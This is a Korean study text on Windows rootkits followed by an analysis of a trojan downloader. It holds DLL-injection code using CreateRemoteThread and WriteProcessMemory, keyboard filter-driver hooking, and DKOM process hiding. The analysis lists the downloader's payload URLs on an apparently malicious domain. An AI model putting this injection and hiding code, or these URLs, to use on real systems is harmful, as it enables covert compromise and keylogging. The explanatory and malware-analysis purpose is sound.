Chapter 3. 루트킷 (Rootkit) 1. 루트킷 (RootKit) 이란? 루트킷은커널모드와유저모드에서동작한다. 유저모드보다는커널모드에서의비중이더크며, 많은루트킷들이커널모드에서동작하도록만들어져있다. 유저모드보다는커널모드에서탐지가더어렵고커널모드는탐지가되더라도회피를하거나, 탐지프로그램을죽이는것이가능하다. 대부분의루트킷들은커널모드와유저모드에서동시에동작하도록되어있다. 루트킷의핵심키워드 꼭꼭숨어라 : 탐지되지않는대부분의기술과트릭은코드와데이터를시스템에서숨기기위해존재한다. 파일을만들거나어떤 API 코드를실행하거나, 그러한것은커널모드에서하기에는조금복잡하기도하고디버깅할때나예외가발생했을때수정하기도힘들다. 그래서루트킷은커널모드에서동작하도록만들어져있지만유저모드에서도동작하도록만들어져있다. 커널모드, 유저모드가서로상호작용을하면서탐지가쉽게되는유저모드를커널모드에서감춰주고커널모드에서사용하기어려운기능들은유저모드에서작성을함으로써코드가간결하며강력한루트킷을만들게되는것이다. 또한, 루트킷의핵심키워드는 탐지되지않는 이다. 루트킷의대부분의기술과트릭들은코드와데이터를시스템에서숨기기위해존재한다고해도틀린말이아니다. 물론해당컴퓨터를조종하기위한코드나어떤정보를얻기위해작성한코드도있겠지만가장중요한것은사용자나관리자에게루트킷이깔려있는지알수없게해야한다는것이다. 자신이설치가되고작동이되더라도시스템관리자가보기에는설치되기전과설치된후가변한것이없어야한다. 많은루트킷들이커널모드에서동작하도록만들어져있다. 라고했는데그아래에서는 대부분의루트킷들은커널모드와유저모드에서동시에동작하도록되어있다 이라고쓴 이유가무엇일까? 사실커널모드에서하기힘든일을유저모드에서는쉽게할수있다.

2. 사용용도 원격제어를통해파일을제어하거나, 시스템이 블루스크린 을발생시키게만들고재부팅되도록만들수있다. - 커맨드쉘 ( 즉, cmd, /bin/sh) 에접할수있다. - 소프트웨어감청을통해서네트워크패킷스니핑, 키입력가로채기, 그리고이메일내용훔쳐보기를통해사용자의비밀번호를알아낼수도있다. 3. 작동유형 (Windows Architecture) 윈도우는커널모드와유저모드를갖고있다. 유저모드는 Ring Level 3, 커널모드는 Ring Level 0 이며이는 CPU에서레벨에따라명령어를실행하게하거나못하게한다. 만약 Ring Level 3인유저모드에서 Ring Level 0의명령어를실행하려한다면 CPU에서예외를발생시킨다는것이다. 운영체제는유저모드를신뢰하지않는다. 항상감시의눈초리를보내다가수상한행동을할때해당프로세스를 Kill 한다. 소프트웨어코드와메모리각각에어떤링이할당되는지끊임없이관리하는것은 CPU가담당해야하는역할이다. Ring Level( 이하링 ) 간의접근제한을수행하는것또한 CPU의역할이다. 일반적으로모든소프트웨어프로그램은링번호를할당받으며자신이할당받은링번호보다낮은번호의링영역에는접근할수없다. 예를들면, 링3 프로그램은링0 프로그램에접근할수없는것이다. 만약그런일이발생한다면 CPU는즉시예외를발생시킨다. 대부분의경우에는운영체제에의해서접근이차단되며그런접근시도는프로그램이중지되는결과를낳게된다. < 그림 1> 은인텔 x86 프로세서의링구조를표현한것으로유저모드와커널모드프로그 램이링구조안의어디에서실행되는지를나타내고있다. 권한에따라메모리에접근할 수있는권한이구별되듯이실행되는명령또한구별될수있다. 즉명령중에는링 0 에

서만사용할수있는명령이있다. 그런명령들을이용하면 CPU 의동작을변경시키거나 하드웨어에직접적으로접근할수있다. 루트킷이링 0 에서동작하면얻게되는장점이많다. 하드웨어나다른소프트웨어가실행되 고있는환경을조작할수있기때문이다. 1유저모드 1) Registry를이용한 DLL 인젝션 HKEY_LOCAL_MACHINE \Software\Microsoft Windows NT \CurrentVersion\Windows \AppInit_DLLs 2) Thread 를이용한 DLL 인젝션 2-1) : 코드분석 -CreateRemoteThread() HANDLE CreateRemoteThread( HANDLE hprocess, -1 LPSECURITY_ATTRIBUTES IpThreadAttributes, DWORD dwstacksiwe, LPSECURITY_START_ROUTINE IpStartAddress,-2 LPVOID IpParameter, -3 DWORDdwCreationFlags, LPDWORD IpThreadOd );

1 hprocess : 스레드를생성할프로세서를가리킴OpenProcess()(PID값사용 ) * OpenProcess() 원형소스 HANDLE WINAPI OpenProcess( in DWORD dwdesiredaccess, in BOOL binherithandle, in DWORD dwprocessid ); 2 IpStartAddress : DLL 불러오기 (<- GetProcAddress <-LoadLibrary() ) * GetProcAddress() 원형소스 GetProcAddress() FARPROC WINAPI GetProcAddress( in HMODULE hmodule, in LPCSTR lpprocname ); -3 IpParameter : 프로세서안에스레드가위치할메모리영역을가르킴 < VitualAllockEX() : 메모리할당, WriteProcessMemory() : 메모리에쓰기 > * VitualAllockEX() 원형소스 LPVOID WINAPI VirtualAllocEx( in HANDLE hprocess, in_optlpvoid lpaddress, in SIZE_T dwsize, in DWORD flallocationtype, in DWORD flprotect ); ) * WriteProcessMemory() 원형소스 BOOL WINAPI WriteProcessMemory( in HANDLE hprocess, in LPVOID lpbaseaddress, in LPCVOID lpbuffer, in SIZE_T nsize, out SIZE_T *lpnumberofbyteswritten

2-2) : 동작원리 2 커널모드커널모드에서프로그래밍을하려면 DDK(Driver Development Kit) 가꼭필요하다. DDK는하드웨어개발자들이윈도우용드라이버를개발하는데필요한도구들을모은것이다. 유저모드에서는 Win32API로프로그래밍을하거나 MFC로프로그래밍을하게된다. 많은라이브러리들은대부분이유저모드프로그래밍을위해나왔다고해도과언이아니게아주많은유저모드라이브러리가있다. 하지만커널모드프로그래밍을해야하는 DDK는그종류가몇가지가되지않는다. 가장많이사용되는라이브러리로 WDM(Windows Driver Model) 이있지만어렵고복잡해서사용하기가힘들다. 최근에나온차세대통합드라이버모델 (WDF) 이나왔지만그난해함은여전하다. 커널모드에서프로그래밍을하게된다면자주보는그림이있다. 옆에있는 BlueScreen인데이는 Win98시절에많이볼수있었던화면일것이다. 이화면은커널모드에서동작하는애플리케이션에예외가발생했을때나온다. 이화면이나오면시스템이강제종료되기때문에어디서예외가발생했는지어떻게수정해야하는지찾기가힘들다. 이예외를처리하려면디버깅컴퓨터와디버거컴퓨터가필요하다.

디버깅컴퓨터와디버기컴퓨터를연결한후 WinDbg 를이용해디버깅컴퓨터에접속하 면커널모드애플리케이션에서발생하는메시지를읽을수있으며예외가발생한시점에서 디버깅컴퓨터를멈춘후디버깅을할수있다.

4. 루트킷제작에사용되는기술 A. HooKing 1 DLL Injection i. Windows Hooking Function 마이크로소프트는다른프로세스로전달되는윈도우메시지를후킹할수있는함수를정의해놓았다. 다른프로세스의주소공간영역안으로루트킷 DLL을로드시킬수있는방법을제공하고있는것이다. 애플리케이션은동작중에운영체제로부터다양한이벤트메시지를받는다. 애플리케이션의활성화된윈도우창에서사용자가키를입력했거나버튼이나마우스를클릭하면그이벤트에해당하는메시지가해당애플리케이션으로전송된다 위의 SetWindowsHookEx 함수가윈도우후킹함수이다. 첫번째인자는후킹을수행할메시지타입. 두번째인자는이벤트메시지가발생되었을때메시지를보낼후킹함수의주소. 세번째인자는후킹함수를포함하고있는 dll의가상메모리주소. 네번째인자는후킹을수행할스레드이며네번째인자가 0이면현재윈도우데스크탑의모든스레드에대해후킹이가능하다. 옆의 UnHookWindowsHookEx 는후킹을해제하는함수이다.

Windows에서 Hook 함수를사용하여 DLL을 Inject 하게되면, 내부적으로는 Hook Procedure 만이아니라, Hook Procedure 가들어있는 DLL코드전체가프로그램의코드영역에 Mapping 되기때문에, DLL 코드가실행되는영역이결국 DLL을호출한프로그램의내부영역이된다. 내부메시지를Hook 하거나, Window Procedure에 Hook을걸어필요한작업을진행하면될것이고 SetWindowHookEx를이용하여함수를실행하면된다. #pragma data_seg( ".Hearobdata" ) HINSTANCE hmodule = NULL; HHOOK hkeyhook = NULL; HWND g_hwnd = NULL; #pragma data_seg() 이그림은 Global 변수들을 Shared로지정하여 DLL을사용하는모든프로그램에대해 DLL 이로드되는시간동안 DLL간의공유가능한영역을지정한것이다. 위에보이는것처럼데이터 seg의이름을주고이안에변수들을지정했을때이 DLL을로드하는프로세스는이데이터 seg를공유하게된다. 데이터 seg 를공유시켜원하는프로세스에서정보를얻고원하는 app 에얻어온데이터를 뿌려주게된다. ii. VirtualAllocEx & CreateRemoteThread DLL을특정프로세스주소영역으로로드시킬수있는다른방법은해당프로세스의리모트스레드 (Remote Thread) 를만드는것이다. 이미존재하는프로세스상에서 Thread를외부에서생성하여, 이 Thread가 DLL 코드를실행하도록동작하는방법이다.

첫번째인자는스레드를삽입할프로세스의핸들을나타낸다. 프로세스의핸들을구하려면대상프로세스의 PID를이용하여 OpenProcess 함수를호출하면된다. OpenProcess 함수는프로그래머가원하는프로세스의핸들을리턴시켜준다. 두번째, 일곱번째인자는 NULL, 세번째여섯번째인자는 0으로설정한다. 네번째인자는인젝션대상프로세스주소공간내에서의 LoadLibrary 함수의주소설정. 다섯번째인자는 LoadLibrary에전달되는인자의메모리주소를설정하여야한다. 보통 Kernel32.dll 에서 LoadLibraryA 함수를얻어오고얻어온주소로 DLL 을로드시킨 다. LoadLibraryA 함수를이용해서원하는 DLL 을로드시키는것이다. 아래에있는코드는 DLL을 Injection 하기위한코드이다. remote thread 를생성하고 LoadLibrary 를호출한뒤, thread 에서 DLL 코드가종료될때까지기다린다. DLL 코드는 remote thread, 즉외부 Process 영역에서동작하며, 필요한작업을한뒤 return 되는데, return 되고난뒤에는만들어놓은 thread 를종료하면된다. int InjectDll() { // Get remote process id

dwpid = GetPIDFromName(szProcessName); if (dwpid == -1) return 0; // Open remote process hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwpid); if (hprocess == NULL) return 0; // Get full path of the DLL if (!GetModuleFileName(hInst, szlibpath, MAX_PATH)) return 0; strcpy(strrchr(szlibpath, '\\') + 1, szdllname); // Allocate memory in the remote process to store the szlibpath string plibremote = VirtualAllocEx(hProcess, NULL, sizeof(szlibpath), MEM_COMMIT, PAGE_READWRITE); if (plibremote == NULL) return 0; // Copy the szlibpath string to the remote process. if (!WriteProcessMemory(hProcess, plibremote, (void*)szlibpath, sizeof(szlibpath), NULL)) return 0; // Load the DLL into the remote process hthread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),

"LoadLibraryA"), plibremote, 0, NULL); // Wait for LoadLibrary() to finish and get return code WaitForSingleObject(hThread, INFINITE); GetExitCodeThread(hThread, &hlibmodule); CloseHandle(hThread); CloseHandle(hProcess); // Free remote memory for szlibpath VirtualFreeEx(hProcess, plibremote, sizeof(szlibpath), MEM_RELEASE);} iii. CreateRemoteThread & WriteProcessMemory 위의 Injection 에서는 DLL을외부스레드가실행하는것이었지만이방법은원하는데이터를원하는 Process 안에넣어코드를실행하는것이다. 위의방법과마찬가지로원하는 Process의핸들을얻고 Process에공간을할당하고 INJDATA라는원하는데이터가들어있는구조체를만들어 Process안에 WriteProcessMemory 를이용하여써넣는다. 그렇게넣어진데이터를외부스레드즉 CreateRemoteThread를이용하여실행시키는것이다. 그림을보면알수있듯이가장아래에 VirtualAlloc 을사용하여 INJDATA 를써넣는것 을볼수있다. INJDATA 의내용은 DLL 의코드이며이전방법과는다른목표 Process 에 서 Injection 할 DLL 의코드를직접실행하는것이다

위구조체에사용할 DLL 의코드와정보를넣는다. 이정보들은 Remoted 프로세스의 address 영역에넣어서사용하며, 여기에저장된내용은실행할때나, 사용할프로시저나 함수의포인터, 내부변수등을저장하게된다. 인젝션하는방법은위의방법과마찬가지로모듈을얻어오는것부터시작하게된다. 하지 만우리가필요한함수는 LoadLibraryA 함수가아닌 SetWindowLongA, CallWndProcA 함수이기때문에다른모듈을얻어와야한다. // Get handle of "USER32.DLL" huser32 = GetModuleHandle("user32"); 얻어오는모듈의핸들은바로 user32 이다. 이곳에서원하는함수를얻게된다. // Open remote process hprocess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); 원하는프로세스를열고, // Allocate memory in the remote process and write a copy of initialized INJDATA into it size = sizeof(injdata); pdataremote = (PBYTE) VirtualAllocEx(hProcess, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 실행할코드가들어있는 INJDATA 만큼의공간을할당한다 WriteProcessMemory(hProcess, pdataremote, &DataLocal, size, &dwnumbytescopied) 할당된공간에 INJDATA DataLocal 을써넣는다. 다음은 RemoteThread 를위한공간을할당하고데이터를써넣을차례이다. pgetsaswndremote = (PBYTE) VirtualAllocEx(hProcess, 0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, pgetsaswndremote, &GetSASWnd, size, &dwnumbytescopied)

다음은 RemoteThread 를만들고원하는함수를실행시킨다. // Start execution of remote GetSASWnd() hthread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) pgetsaswndremote, pdataremote, 0, &dwthreadid); 다음은위의방법과마찬가지로 DLL 의실행이끝나길기다린후종료시킨다. // Wait for GetSASWnd() to terminate and get return code (SAS Wnd handle) WaitForSingleObject(hThread, INFINITE); GetExitCodeThread(hThread, (PDWORD) &hsaswnd); 여기까지가 WriteProcessMemory와 CreateRemoteThread를이용한 DLL Injection 부분이다. 사실누락된내용도많지만누락된내용은다양한문서와완성되어공개된프로그램들이많으니그걸보고해도될것같다. 이와같은방법으로작업관리자를막거나프로그래머가원하는어떤키를막는것이가능하다. B. FilterDriver I. 필터드라이버란? 위에서설명했던것과같이윈도우에는 KernelMode가있다. 그모드에서하는 Hooking 을할수있는방법중하나가 FilterDriver 이다. 먼저필터드라이버를간단하게설명하자면 WDM(Windows Driver Model) 은계층드라이버아키텍처를갖는다. 여러개의계층으로이루어진드라이버사이에새로운드라이버를끼워넣을수있다. 거의모든하드웨어장치는그것을지원하기위한드라이버체인이존재한다. 가장낮은계층의드라이버는하드웨어장치와버스를직접처리하고, 가장높은계층은데이터를구조화한다. 이그림을필터드라이버를형상화한그림이다. i8042prt라는드라이버가가장상위에있으며그체인으로밑에여러개의드라이버들이묶여있는것이보인다. 가장아래에있는낮은계층의드라이버는하드웨어장치와버스를직접처리하며, 가장높은계층은데이터를구조화한다. 필터드라이버를더세부적으로나눌수있다. Function Device Object 를기준으로위에있는것들을 Upper Filter Driver 이며아래 에있는것들은 Lower Filter Driver 라한다. Class Filter Driver 는같은종류의디바 이스를망라하는드라이버라할수있다. 예를들면 Keyboard 는그타입이여러가지가

있는데 PS/2 라던지 USB 같은것을말한다. 이렇게묶여있을경우에는어떤종류던지 간에제어가가능하다. Device Filter Driver 는특정 Device 에만설치가되는필터드라이버를말한다. 예를들어 USB 로 Printer 를사용하고있을때이프린터드라이버에만설치가되는것이 Device Filter Driver 이다. 드라이버가디바이스에종속된다고생각하면쉽다. Bus Filter Driver 는 USB 같은특정버스드라이버에대해필터링하는드라이버이다. ii. IRP 윈도우프로그래밍은메시지구동방식이라는것을알고있을것이다. 윈도우프로그램은사용자가특정작업 ( 마우스클릭, 키보드입력, 메뉴선택등 ) 을하게되면그것에해당하는윈도우메시지라는것이발생하며윈도우에서는해당메시지를현재활성화되어있는프로그램의메시지큐에집어넣게된다. 그럼프로그램은메시지큐에서메시지를가져와서적절한처리를하게되는것이다. 드라이버역시이와비슷한동작을한다. 드라이버는로딩이성공적으로이루어지면할당된메모리에대기하고있다가자신이컨트롤하고있는디바이스에특정한요청이왔을때윈도우에서보내주는요청정보를토대로적절한동작을하게된다. 이때윈도우프로그램이특정메시지를처리하기위해해당메시지값과그에관련된정보들이들어있는 MSG라고하는구조체를파라미터로받아처리하듯드라이버역시이와같은특정요청에관련된정보들을함수의파라미터로받게된다. 이러한정보들을담은정의된구조체가바로 IRP 이다. 필터드라이버와하드웨어가통신을할때 I/O Manager 에서는 IRP 를만들게된다. 이 IRP 는여러가지정보를담고있으며해당드라이버의위에서아래로아래에서위로정보 가이동하게된다. 이때필터드라이버는그정보가내려올때필터링하는방법과정보가

올라올때필터링하는방법중하는방법중선택하여프로그래밍할수있다. 위에서말했던것처럼필터드라이버는 IRP라는메시지와비슷한방식으로동작한다고말했었다. 아래에있는그림들은프로그래밍시에사용되는 IRP 이다. 처리루틴에서는자신이원하는 IRP가들어왔을때루틴이동작하게된다. 이 IRP들을통해 APP와통신을하거나, 다른드라이버로부터받은요청을처리하거나통신을하거나할수있게된다. // major funciton 설정 for( i = 0; i < IRP_MJ_MAXIMUM_FUNCTION i++ ) { pdrvobj->majorfunction[ i ] = IrpSkip } pdrvobj->majorfunction[ IRP_MJ_READ ] = KeyReadRoutine

pdrvobj->driverunload = DriverUnload IRP 에정의되어있는 MajorFuction 의개수는 27 개이고이중에프로그래머가원하지않 는 IRP 가발생했을때 IrpSkip 을하여해당 IRP 를다음드라이버에게보내는작업을하 게된다. 위코드가그러한동작을하는코드이다. 그리고내가원하는 IRP_MJ_READ 처리루틴은 따로만들어서이러한 IRP 가발생했을때 KeyReadRoutione 이라는루틴이동작하는 것이다. 위코드가 IRP_MJ_READ 라는 IRP 가발생했을때동작하는루틴이다. 이챕터는 KernelMode 에서 Keyboard Hooking을위해쓰여진글이지만이글을보고는절대로만들수가없다. 사실 Keyboard Filter 드라이버를만들기위해서는많은지식과정보가필요하며따로 KernelMode 프로그래밍에대한공부도해야하기때문이다. DDK 를사용하여프로그래밍하기때문에선수학습이많이요구된다.

C. DKOM(Direct Kenel Object Manipulation) 커널은실행중인프로세스나드라이버, 포트들의정보를커널객체에저장하여작성하며커널객체는프로세스리스트와드라이버리스트를이중연결리스트를이용하여관리한다. 이중연결리스트값을수정하면프로세스와드라이버를숨길수있다. 커널은 EPROCESS 객체를생성하여프로세스를관리하는데 EPROCESS 객체의멤버중 ActiveProcessLinks 는연결리스트구조체이다. 이멤버를사용하여프로세스들은서로 연결되어있다. 그림처럼숨길프로세스는자기를가리키게하고앞뒤의프로세스의연결리스트를조작 하는것만으로도간단히숨길수있다. EPROCESS 구조체를 WinDBG를이용해서본그림이며 LIST_ENTRY에 FLINK와 BLINK의값들이들어있다. 위의값을받아와서조작함으로써원하는결과를얻을수있다. 위기능은원하는프로세스를숨기는기능을하는데혼자서는동작할수가없다. 왜냐하면자신이숨길프로세스가뭔지모르기때문이다. 위의코드가동작하는이유는자신의 APP를숨기기위해서인데숨길 APP는 UserMode 에서돌아가는 RootKit 이기때문이다. APP에서드라이버를로딩하며드라이버에게자신의프로세스이름을알려줄수있어야한다. APP가로딩이된후자신의 PID를알아내어드라이버에게전달하면효과적으로숨길수있다. while( bprocessfound ) {

bprocessfound = Process32Next( hsnapshot, &ProcessEntry32 ); tempprocessname = ProcessEntry32.szExeFile processname = tempprocessname if(!strcmp( tempprocessname, processname ) ) { CloseHandle( hsnapshot ); char *ndatacopy = new char[ sizeof( int ) + 1 ]; sprintf( ndatacopy, "%d", ProcessEntry32.th32ProcessID ); ndata = new BYTE[ 5 ]; } } for( int i = 0; i < 5; i ++ ) { ndata[ i ] = ( BYTE )ndatacopy[ i ]; } return ndata 위와같은코드로원하는프로세스의 ID 를얻을수있다. 그정보를로드한드라이버에게 전달하면드라이버파일이효과적으로프로세스를숨기는것을확인할수있을것이다.

Chpter 4. Malware Information Malware Infomation md5 : caed24c44ecc0cfc142b1a004ee8017d SHA1 : b7b9aeb99848812dc71b0d536d2daca701e09454 File Format : MS-DOS executable PE for MS Windows (GUI) x86 32bit Packer Signiture : malware is packed but packer is unknown Type : Troyjan - downloader 1. 주요기능 Process 다운로드받은프로그램을실행방화벽예외목록에프로그램추가 Registry 윈도우재시작시다시실행을위하여레지스트리수정작업관리자무력화 Network 외부페이지로접속하여현재시스템정보송출및파일다운로드시도 2. 코드구조 START 00402704 MessageLoop _stdcall 004017D8 윈도우방화벽예외처리 작업관리자무력화 시스템정보수집 _stdcall 004012EF 이악성코드는메시지루프를가지고이벤트드리븐방식으로구동되는윈도우프로그램이다. 메시지루프에들어가기전에윈도우방화벽에예외항목으로자기자신을등록하고, 작업관리자를무력화시키며시스템정보를수집한다. 파일할당 파일다운로드 파일실행 특정주소에접속파일다운로드 _stdcall 0040109A 에러핸들링 그뒤에는어떤메시지에따른콜백함수가호출되는데이함수는파일을할당하고다운로드하며실행한다. 그외에예외핸들링을기능으로하는것으로보이는함수도있다.

3. 세부기능 Process 방화벽예외목록에프로그램추가 메시지루프가실행되는함수내부에는 MS Windows NT 계열에네트워크관리용으로제공되는유틸리티인 netsh를이용하여방화벽에자기자신을예외처리를하는루틴이존재한다. 이루틴은현재실행되는모듈의파일이름을받아오는 API인 GetModuleFileName과인수를포함한명령어를실행하는 API인 WinExec를이용하여구동된다. 다운로드받은프로그램을실행 시작주소가 0x004017D8 인 Callback 함수인내부에서다른루틴에서다운로드받은 프로그램을 CreateProcess 를이용하여이전에다운로드받은프로그램을실행한다. 다 운로드받은파일은다른악의적인프로그램으로예상된다.

Registry 윈도우재시작시다시실행을위하여레지스트리수정 작업관리자무력화

Network 외부페이지로접속하여현재시스템정보송출및파일다운로드시도 - 시스템정보수집및처리 윈도우나시스템의정보를얻어오는 API 를이용하여정보를얻어오고이를이용하여 어떤쿼리를만들어낸다. 0x004017D8 에서시작하는콜백함수에는위에서만들어진쿼리를이용하여특정 URL 에접속하고파일을다운로드받아저장한다. 위콜백함수에서는 0x00401460 를호출하는데이함수는 0x004012EF 를시작으로하는 스레드를만들고스레드가생성되면서 004012EF 는 Callback 되어진다. 이함수는아래와같은루틴을수행한다.

여기있는 GetProcAddress 함수를이용하여 WININET.DLL 에 Export 한함수의주소 를받아온다. 각각받아온함수의주소는 MOV DWORD PTR SS:[EBP-??] 에저장 되며이주소를이용하여함수를실행한다. EBP-28 에저장되어있는주소의함수를사용한다. 이함수는 InternetOpenUrlA 이며, 이함수를통해서인터넷에있는파일의다운로드를시도한다. ( 하지만현재는이주소 를통해다운로드가불가능하다.) 다운로드를시도하는 URL 은다음과같다. "http://prevedtraf.biz/pic/search.jpg" "http://prevedtraf.biz/pic/winlogon.jpg" "http://prevedtraf.biz/pic/tibs.jpg" http://prevedtraf.biz/pic/tool.jpg" "http://prevedtraf.biz/pic/proxy.jpg" 4. 그외 위악성코드는패킹되어있긴하지만알려지지않은방법으로패킹되어있었기때문에, OEP 를 수동으로찾아그부분부터 Dump 하여바이너리를재구성하였다.